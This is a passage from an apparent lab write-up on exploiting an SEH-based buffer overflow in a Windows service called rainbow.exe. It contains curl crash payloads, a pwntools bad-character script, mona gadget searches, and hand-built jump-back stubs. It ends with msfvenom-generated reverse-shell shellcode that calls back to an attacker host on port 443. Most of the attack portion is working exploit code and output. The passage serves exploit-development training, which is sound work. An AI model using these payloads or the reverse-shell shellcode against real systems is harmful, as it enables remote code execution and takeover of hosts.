Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file

[+] This mona.py action took 0:00:00.017000

image

Send our new payload:

$ curl http://192.168.3.65:8080/ -d $(python -c 'print("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9")') -X POST -vvv
Note: Unnecessary use of -X or --request, POST is already inferred.
16:50:51.958557 [0-x] == Info: [READ] client_reset, clear readers
16:50:51.958670 [0-0] == Info: [SETUP] added
16:50:51.958727 [0-0] == Info:   Trying 192.168.3.65:8080...
16:50:51.959410 [0-0] == Info: Connected to 192.168.3.65 (192.168.3.65) port 8080
16:50:51.959481 [0-0] == Info: using HTTP/1.x
16:50:51.959533 [0-0] == Info: [READ] add buf reader, len=900 -> 0
16:50:51.959621 [0-0] == Info: [READ] cr_buf_read(len=65384) -> 0, nread=900, eos=1
16:50:51.959705 [0-0] == Info: [READ] client_read(len=65384) -> 0, nread=900, eos=1
16:50:51.959822 [0-0] => Send header, 152 bytes (0x98)
0000: POST / HTTP/1.1
0011: Host: 192.168.3.65:8080
002a: User-Agent: curl/8.11.1
0043: Accept: */*
0050: Content-Length: 900
0065: Content-Type: application/x-www-form-urlencoded
0096: 
16:50:51.960077 [0-0] => Send data, 900 bytes (0x384)
0000: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
0040: c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
0080: 2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
00c0: Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
0100: i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
0140: 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7
0180: Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A
01c0: o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
0200: 0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1
0240: At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
0280: v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax
02c0: 4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5
0300: Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B
0340: b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd
0380: 8Bd9
16:50:51.961117 [0-0] == Info: upload completely sent off: 900 bytes

Then Debug > Go :

image

(6714.6870): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe
eax=fffffffc ebx=0066c240 ecx=39724138 edx=00000004 esi=004020c0 edi=0066c240
eip=00406156 esp=00c7f8c8 ebp=00c7f8d8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:39724134=????????

As eip/esp are not smashed, we only can control the EIP after we pass the exception to the debugger, so we have a SEH based overflow.

Show the exception handler:

0:004> !py mona exchain
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py exchain
Nr of SEH records : 3
Start of chain (TEB FS:[0]) : 0x00c7f8e8
Address     Next SEH    Handler
-------     --------    -------
0x00c7f8e8  0x00c7f928  0x0040a040 rainbow.exe+0x0000a040
0x00c7f928  0x00c7fbe8  0x0040a040 rainbow.exe+0x0000a040
0x00c7fbe8  0x41307741  0x77413177 KERNEL32.DLL+0x00033177 (record smashed at offset 660)

Payload structure suggestion(s):
[Junk * 660]['\xeb\x06\x41\x41'][p/p/r][shellcode][more junk if needed]

[+] This mona.py action took 0:00:02.196000

Using our cyclic pattern, recrashing the application shows the NSEH record is 0x77413177

0:004> !py mona pattern_offset 0x77413177
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py pattern_offset 0x77413177
Looking for w1Aw in pattern of 500000 bytes
 - Pattern w1Aw (0x77413177) found in cyclic pattern at position 664
Looking for w1Aw in pattern of 500000 bytes
Looking for wA1w in pattern of 500000 bytes
 - Pattern wA1w not found in cyclic pattern (uppercase)  
Looking for w1Aw in pattern of 500000 bytes
Looking for wA1w in pattern of 500000 bytes
 - Pattern wA1w not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.124000

EIP 77413177 = pattern w1Aw and we got the exact offset 664

Double check with the payload below:

$ curl http://192.168.3.65:8080/ -d $(python -c 'print(("A"*664) + ("B"*4) + ("C"*10))') -X POST -vvv
Note: Unnecessary use of -X or --request, POST is already inferred.
17:34:36.780323 [0-x] == Info: [READ] client_reset, clear readers
17:34:36.780403 [0-0] == Info: [SETUP] added
17:34:36.780465 [0-0] == Info:   Trying 192.168.3.65:8080...
17:34:36.781450 [0-0] == Info: Connected to 192.168.3.65 (192.168.3.65) port 8080
17:34:36.782398 [0-0] == Info: using HTTP/1.x
17:34:36.782845 [0-0] == Info: [READ] add buf reader, len=678 -> 0
17:34:36.783445 [0-0] == Info: [READ] cr_buf_read(len=65384) -> 0, nread=678, eos=1
17:34:36.783580 [0-0] == Info: [READ] client_read(len=65384) -> 0, nread=678, eos=1
17:34:36.783812 [0-0] => Send header, 152 bytes (0x98)
0000: POST / HTTP/1.1
0011: Host: 192.168.3.65:8080
002a: User-Agent: curl/8.11.1
0043: Accept: */*
0050: Content-Length: 678
0065: Content-Type: application/x-www-form-urlencoded
0096: 
17:34:36.784204 [0-0] => Send data, 678 bytes (0x2a6)
0000: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0040: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0080: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
00c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0100: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0140: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0180: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
01c0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0200: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0240: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0280: AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCC
17:34:36.785065 [0-0] == Info: upload completely sent off: 678 bytes
17:34:39.600161 [0-0] == Info: Recv failure: Connection reset by peer
17:34:39.600308 [0-0] == Info: [WRITE] cw-out done
17:34:39.600418 [0-0] == Info: closing connection #0
C:\Users\01214830\Downloads\VULNLAB\RAINBOW>rainbow.exe 8080
Starting Rainbow Server...!
[Debug] POST /
[Debug] POST-Data AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAโ•จHZtAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCC

Confirmed it’s the correct offset

Junk/Bad chars finding

We create a simple python script named junk.py to find any bad chars, which we should avoid in our final payload:

#!/usr/bin/python
from pwn import *

HOST = b"192.168.3.65"
PORT = 8080

badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

offsetbuffer = b"A" * 664

content = offsetbuffer + badchars
payload =  b"POST / HTTP/1.1\r\n"
payload += b"Host: %s\r\n" % HOST
payload += b"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n"
payload += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
payload += b"Content-Length: %d\r\n\r\n" % len(content)
payload += content
 
p = remote(HOST, PORT)
print("\nSending payload request")
p.send(payload)
print("\nReceiving response")
p.recvline()
p.close()

Launch a new rainbow.exe server:

C:\Users\01214830\Downloads\VULNLAB\RAINBOW>rainbow.exe 8080
Starting Rainbow Server...!

Then execute our script and got all bad chars:

$ python3 junk.py 
[+] Opening connection to b'192.168.3.65' on port 8080: Done

Sending payload request

Receiving response
[Debug] POST /
[Debug] POST-Data AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAโ•จHZtAAAAAAAAAAAAAAAAAAAAAAAAAAAA

โฆ123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ร‡รผรฉรขรคร รฅรงรชรซรจรฏรฎรฌร„ร…ร‰รฆร†รดรถรฒรปรนรฟร–รœยขยฃยฅโ‚งฦ’รกรญรณรบรฑร‘ยชยบยฟโŒยฌยฝยผยกยซยปโ–‘โ–’โ–“โ”‚โ”คโ•กโ•ขโ•–โ••โ•ฃโ•‘โ•—โ•โ•œโ•›โ”โ””โ”ดโ”ฌโ”œโ”€โ”ผโ•žโ•Ÿโ•šโ•”โ•ฉโ•ฆโ• โ•โ•ฌโ•งโ•จโ•คโ•ฅโ•™โ•˜โ•’โ•“โ•ซโ•ชโ”˜โ”Œโ–ˆโ–„โ–Œโ–โ–€ฮฑรŸฮ“ฯ€ฮฃฯƒยตฯ„ฮฆฮ˜ฮฉฮดโˆžฯ†ฮตโˆฉโ‰กยฑโ‰ฅโ‰คโŒ โŒกรทโ‰ˆยฐโˆ™ยทโˆšโฟยฒโ– 

POP POP RET Gadget chain finding

Find a POP-POP-RET gadget to use for the SEH field to point our pointer to our target shell code:

0:001> !py mona seh
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py seh

---------- Mona command started on 2024-12-30 18:09:50 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module rainbow.exe
0x0 0x10000 
0x10000 0x11000 
...
0x7ffe0000 0x1000 
0x7ffe1000 0xe000 
0x7ffef000 0x1000 
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Preparing output file 'seh.txt'
    - Creating working folder C:\monalogs\rainbow_25812
    - Folder created
    - (Re)setting logfile C:\monalogs\rainbow_25812\seh.txt
[+] Writing results to C:\monalogs\rainbow_25812\seh.txt
    - Number of pointers of type 'pop ecx # pop ecx # ret ' : 1 
    - Number of pointers of type 'pop ecx # pop ebp # ret ' : 1 
    - Number of pointers of type 'pop edi # pop esi # ret ' : 1 
    - Number of pointers of type 'pop esi # pop ebx # ret ' : 2 
    - Number of pointers of type 'pop esi # pop ebp # ret ' : 3 
    - Number of pointers of type 'add esp,4 # pop ebp # ret ' : 4 
    - Number of pointers of type 'pop esi # pop ebp # ret 0x04' : 2 
[+] Results : 
0x004094d8 |   0x004094d8 : pop ecx # pop ecx # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x004092ad |   0x004092ad : pop ecx # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x004091b7 |   0x004091b7 : pop edi # pop esi # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00409add |   0x00409add : pop esi # pop ebx # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00409b09 |   0x00409b09 : pop esi # pop ebx # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00409569 |   0x00409569 : pop esi # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00409657 |   0x00409657 : pop esi # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00409b81 |   0x00409b81 : pop esi # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x0040165c |   0x0040165c : add esp,4 # pop ebp # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00403ffc |   0x00403ffc : add esp,4 # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x004061bc |   0x004061bc : add esp,4 # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x004080ec |   0x004080ec : add esp,4 # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x0040926d |   0x0040926d : pop esi # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
0x00409a90 |   0x00409a90 : pop esi # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [rainbow.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\01214830\Downloads\VULNLAB\RAINBOW\rainbow.exe), 0x8000
    Found a total of 14 pointers

[+] This mona.py action took 0:00:03.543000

Few work and look for pop ecx # pop ecx # ret. All the gadgets start with a 0x00 means we won’t be able to use anything after this gadget.

SHORT and NEAR Jumping

To fix this matter, we can provide our payload before we override the EIP 0x004094d8 and use another gadget to jump to the beginning of this payload.

But the POP POP RET will bring use just 4 bytes infront of our EIP, this means we only have 4 Bytes for our JMP Instruction, which means we only can use a SHORT JMP which has a maximum range of 128 bytes, which is maybe not enough for our payload.

The solution is to make another jump (NEAR) or to split our shellcode.

So we first jump back 5 bytes and then jump back another 500 bytes to have enough space for our payload (we have a maximum of 664 bytes before we reach the EIP) :

jmp NEAR 500 back:

$ msf-nasm_shell 
nasm > jmp near -500
00000000  E907FEFFFF        jmp 0xfffffe0c

fill the rest with NOPs:

b"\xE9\x07\xFE\xFF\xFF"

jmp SHORT 5 back (with a previous 4 bytes spacer):

nasm > JMP SHORT -9
00000000  EBF5              jmp short 0xfffffff7

fill the rest with NOPs:

b"\xEB\xF5\x90\x90"

So finally we will have:

jmpback = b"\xE9\x07\xFE\xFF\xFF" # jmp NEAR 500 back (5 bytes)
jmpback += b"\x90" * 4 # spacer (4 bytes)
jmpback += b"\xEB\xF5\x90\x90" #  jmp SHORT 5 back # (4 bytes)
eip = p32(0x004094d8) # pop pop ret 

Let’s go to PWN (Rainbow_User)

Create our Metasploit payload:

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=10.8.2.19 LPORT=443 -f  python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf =  b""
buf += b"\xdb\xcc\xbb\xab\xf5\x5a\xae\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x52\x31\x5f\x17\x83\xef\xfc\x03\xf4"
buf += b"\xe6\xb8\x5b\xf6\xe1\xbf\xa4\x06\xf2\xdf\x2d\xe3"
buf += b"\xc3\xdf\x4a\x60\x73\xd0\x19\x24\x78\x9b\x4c\xdc"
buf += b"\x0b\xe9\x58\xd3\xbc\x44\xbf\xda\x3d\xf4\x83\x7d"
buf += b"\xbe\x07\xd0\x5d\xff\xc7\x25\x9c\x38\x35\xc7\xcc"
buf += b"\x91\x31\x7a\xe0\x96\x0c\x47\x8b\xe5\x81\xcf\x68"
buf += b"\xbd\xa0\xfe\x3f\xb5\xfa\x20\xbe\x1a\x77\x69\xd8"
buf += b"\x7f\xb2\x23\x53\x4b\x48\xb2\xb5\x85\xb1\x19\xf8"
buf += b"\x29\x40\x63\x3d\x8d\xbb\x16\x37\xed\x46\x21\x8c"
buf += b"\x8f\x9c\xa4\x16\x37\x56\x1e\xf2\xc9\xbb\xf9\x71"
buf += b"\xc5\x70\x8d\xdd\xca\x87\x42\x56\xf6\x0c\x65\xb8"
buf += b"\x7e\x56\x42\x1c\xda\x0c\xeb\x05\x86\xe3\x14\x55"
buf += b"\x69\x5b\xb1\x1e\x84\x88\xc8\x7d\xc1\x7d\xe1\x7d"
buf += b"\x11\xea\x72\x0e\x23\xb5\x28\x98\x0f\x3e\xf7\x5f"
buf += b"\x6f\x15\x4f\xcf\x8e\x96\xb0\xc6\x54\xc2\xe0\x70"
buf += b"\x7c\x6b\x6b\x80\x81\xbe\x3c\xd0\x2d\x11\xfd\x80"
buf += b"\x8d\xc1\x95\xca\x01\x3d\x85\xf5\xcb\x56\x2c\x0c"
buf += b"\x9c\x52\xb9\x0c\x4f\x0b\xbb\x10\x6e\x70\x32\xf6"
buf += b"\x1a\x96\x13\xa1\xb2\x0f\x3e\x39\x22\xcf\x94\x44"
buf += b"\x64\x5b\x1b\xb9\x2b\xac\x56\xa9\xdc\x5c\x2d\x93"
buf += b"\x4b\x62\x9b\xbb\x10\xf1\x40\x3b\x5e\xea\xde\x6c"
buf += b"\x37\xdc\x16\xf8\xa5\x47\x81\x1e\x34\x11\xea\x9a"
buf += b"\xe3\xe2\xf5\x23\x61\x5e\xd2\x33\xbf\x5f\x5e\x67"
buf += b"\x6f\x36\x08\xd1\xc9\xe0\xfa\x8b\x83\x5f\x55\x5b"
buf += b"\x55\xac\x66\x1d\x5a\xf9\x10\xc1\xeb\x54\x65\xfe"
buf += b"\xc4\x30\x61\x87\x38\xa1\x8e\x52\xf9\xd1\xc4\xfe"
buf += b"\xa8\x79\x81\x6b\xe9\xe7\x32\x46\x2e\x1e\xb1\x62"
